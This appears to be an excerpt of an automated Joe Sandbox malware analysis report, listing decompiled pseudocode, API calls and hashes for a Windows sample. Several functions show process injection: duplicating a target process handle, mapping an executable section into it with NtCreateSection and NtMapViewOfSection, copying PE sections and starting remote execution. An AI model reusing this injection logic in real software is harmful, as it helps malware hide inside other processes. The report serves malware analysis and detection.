0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction ID: 91d7b6eb91bdc9b702aebae0ea57f4798882290432fe6fcee8abfa626251d873
Opcode Fuzzy Hash: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction Fuzzy Hash: 0F5149B5900245BBEB209F91CC48FEFBFB8EF85B00F144159F911AA2A5D7759901CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401557(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				void* _t206;
				intOrPtr* _t207;
				void* _t208;
				long _t223;
				void* _t229;

				asm("sahf");
				if (__eflags > 0) goto 0x401545;
				asm("cmc");
				E0040119E(_t86, __ebx, __ecx, 0xc0, __edi, __esi, __eflags, _t229);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t223 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t223 == 0) {
									L19();
									if(_t223 == 0 && _t223 != 0) {
										 *_t138 = _t190;
										_t206 = _t205;
										_pop(_t205);
									}
									_t207 = _t206 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t207;
									_t208 = _t207 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t206 = _t208 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t206 = _t206 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t227 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L52();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t227, _t229, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401557
0x00401558
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction ID: cc3d46135835756f9cafff621b1599bf12e5bdd411ec13d592e282f5f8ecdeaa
Opcode Fuzzy Hash: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction Fuzzy Hash: C1512A75900249BBEB209F91CC48FAFBBB8FF85B00F144169FA11BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040151F(void* __ebx, void* __edi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				intOrPtr* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				long _t224;
				void* _t230;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t206;
				_t207 = _t206 + 4;
				asm("cmc");
				E0040119E(_t86, __ebx, _t131, 0xc0, __edi, 0x53802c55, __eflags, _t230);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t224 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t224 == 0) {
									L24();
									if(_t224 == 0 && _t224 != 0) {
										 *_t138 = _t190;
										_t207 = _t205;
										_pop(_t205);
									}
									_t208 = _t207 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t208;
									_t209 = _t208 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t207 = _t209 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t207 = _t207 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t228 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L57();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t228, _t230, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction ID: 7b0ff6212a6efac6393312b74af7fae11c4648ab5a07736769ecee7b68bffce7
Opcode Fuzzy Hash: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction Fuzzy Hash: 23512A75900205BFEB209F91CC48FAF7BB8EF85B00F14416AFA12BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00953E01 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00953E29
Module32First.KERNEL32(00000000,00000224), ref: 00953E49

Memory Dump Source

Source File: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94d000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5a04704d56f4d91d7241445dae34b73be096bb4d8f7c89a7d83376609e3b116b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 1CF062311007156BD720AABAAC8EB6E77ECAF49766F104528FA46D14C0DB70E94D4B61

Uniqueness

Uniqueness Score: -1.00%

Function 0076003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0076024D

Strings

kernel32.dll, xrefs: 0076008F, 00760095
cess, xrefs: 0076018D

Memory Dump Source

Source File: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, Offset: 00760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_760000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: e7592e7f84c55ea775e29d54004374ecd9913ce804cec6b547e91cec81f2d018
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3B527974A00229DFDB64CF58C984BA9BBB1BF09304F1480D9E90EAB351DB34AE94DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00760E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00760223,?,?), ref: 00760E19
SetErrorMode.KERNELBASE(00000000,?,?,00760223,?,?), ref: 00760E1E

Memory Dump Source

Source File: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, Offset: 00760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_760000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 39821a217816a7f5344c70d646fc942040b13633ca22255bef99017fbef1404d
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 89D0123154512877D7003A94DC09BCE7B1CDF05B62F008411FB0DD9080C775994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401910(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				asm("sbb ebp, ebx");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, 0x6f, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401910
0x00401910
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
